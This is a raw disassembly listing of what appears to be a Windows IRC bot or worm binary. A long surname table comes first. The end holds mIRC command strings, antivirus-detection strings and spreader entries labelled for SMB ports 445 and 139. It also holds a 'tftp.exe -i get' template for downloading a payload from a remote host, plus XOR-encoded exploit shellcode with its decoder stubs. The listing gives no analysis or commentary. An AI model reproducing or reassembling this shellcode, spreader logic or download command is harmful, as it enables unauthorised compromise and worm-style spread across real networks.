aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay_0 ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" dword_447FEC dd 7325h ; DATA XREF: sub_40AFAB+27o dword_447FF0 dd 69257325h, 0 ; DATA XREF: sub_40AFAB+4Eo dword_447FF8 dd 7325h ; DATA XREF: _0:0040B030o dword_447FFC dd 69257325h, 0 ; DATA XREF: _0:0040B057o dword_448004 dd 4350h ; DATA XREF: _0:0040B0C8o dword_448008 dd 4350h ; DATA XREF: _0:0040B0F2o dword_44800C dd 4350h ; DATA XREF: _0:0040B11Eo dword_448010 dd 69257325h, 0 ; DATA XREF: _0:0040B149o dword_448018 dd 7C7325h ; DATA XREF: _0:0040B197o dword_44801C dd 69257325h, 0 ; DATA XREF: _0:0040B1BEo dword_448024 dd 3539h ; DATA XREF: _0:0040B22Co dword_448028 dd 544Eh ; DATA XREF: _0:0040B23Ao dword_44802C dd 3839h ; DATA XREF: _0:0040B24Ao dword_448030 dd 454Dh ; DATA XREF: _0:0040B25Ao dword_448034 dd 4B32h ; DATA XREF: _0:0040B273o dword_448038 dd 5058h ; DATA XREF: _0:0040B283o dword_44803C dd 334B32h ; DATA XREF: _0:0040B291o dword_448040 dd 3F3F3Fh ; DATA XREF: _0:loc_40B298o dword_448044 dd 5D73255Bh, 7Ch ; DATA XREF: _0:0040B2A1o dword_44804C dd 69257325h, 0 ; DATA XREF: _0:0040B2C8o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40B2E7+1Fo align 4 aM_0 db '[M]',0 ; DATA XREF: sub_40B2E7+2Co aDS db '[%d]%s',0 ; DATA XREF: sub_40B2E7+3Ao align 4 aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40B2E7:loc_40B336o align 10h aM_1 db '[M]',0 ; DATA XREF: sub_40B2E7+5Co align 8 loc_448078: ; DATA XREF: sub_40B590+BEo jmp short loc_44807C ; --------------------------------------------------------------------------- loc_44807A: ; CODE XREF: _2:loc_44807Cp jmp short loc_448081 ; --------------------------------------------------------------------------- loc_44807C: ; CODE XREF: _2:loc_448078j call loc_44807A loc_448081: ; CODE XREF: _2:loc_44807Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_448086 dw 0FFFFh ; DATA XREF: sub_40B590+C6w db 80h, 73h, 0Eh byte_44808B db 0FFh ; DATA XREF: sub_40B590+CDw dd 0F9E243h ; --------------------------------------------------------------------------- loc_448090: ; DATA XREF: sub_40B590+9Co jmp short loc_448094 ; --------------------------------------------------------------------------- loc_448092: ; CODE XREF: _2:loc_448094p jmp short loc_448099 ; --------------------------------------------------------------------------- loc_448094: ; CODE XREF: _2:loc_448090j call loc_448092 loc_448099: ; CODE XREF: _2:loc_448092j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_44809D db 0FFh ; DATA XREF: sub_40B590+A4w dw 7380h db 0Ch byte_4480A1 db 0FFh ; DATA XREF: sub_40B590+AAw dw 0E243h dd 0F9h dword_4480A8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B419+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_44810C dd 12h ; DATA XREF: sub_40B419+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B419+79o aJ_0 db 'j',0 db 0E8h dword_448125 dd 17h ; DATA XREF: sub_40B419+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_44812C retn ; --------------------------------------------------------------------------- byte_44812C db 0E8h ; CODE XREF: _2:00448129j dword_44812D dd 1 ; DATA XREF: sub_40B419+45w byte_448131 db 0, 6Ah, 0 ; DATA XREF: sub_40B419+C2o dd 7E8h db 0, 0Fh, 84h dword_44813B dd 0FFFFFFEDh ; DATA XREF: sub_40B419+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; MultiByteToWideChar add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dword_44816C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B74E+10o dword_448180 dd 202E6425h, 7325h ; DATA XREF: sub_40B74E+46o aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B919+35o align 10h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B919+51o align 4 aSym db 'sym',0 ; DATA XREF: sub_40BE20+4Fo ; sub_40C87D+155o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BD5A+30o align 4 dd 5 dup(0) dword_4481F0 dd 0B97h ; DATA XREF: sub_401C87+1D4Dr ; sub_401C87+1D76o ... off_4481F4 dd offset sub_40E9ED ; DATA XREF: sub_40C87D+1D7r dword_4481F8 dd 0 ; DATA XREF: sub_40BBCD+2Eo ; _0:0040DBB7r ... dword_4481FC dd 1 ; DATA XREF: sub_40C049+1Fr dword_448200 dd 1 ; DATA XREF: sub_40C049+3AAr dword_448204 dd 0 ; DATA XREF: sub_40C049+285r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EB1Fh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40E882h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40DA19h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40DA19h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 10h db 2 dup(0) byte_448352 db 1 ; DATA XREF: sub_401C87:loc_40394Dr ; sub_401C87+1CD0o aNet445_0 db 'net445',0 align 4 dd 73610100h, 3534346Eh, 0 dd 1, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_44838A ; =============== S U B R O U T I N E ======================================= sub_44837A proc near ; CODE XREF: sub_44837A:loc_44838Ap pop edx dec edx xor ecx, ecx mov cx, 166h loc_448382: ; CODE XREF: sub_44837A+Cj xor byte ptr [edx+ecx], 99h loop loc_448382 jmp short loc_44838F ; --------------------------------------------------------------------------- loc_44838A: ; CODE XREF: _2:00448378j call sub_44837A loc_44838F: ; CODE XREF: sub_44837A+Ej jo short near ptr dword_44830C+1Eh cwde cdq cdq retn sub_44837A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 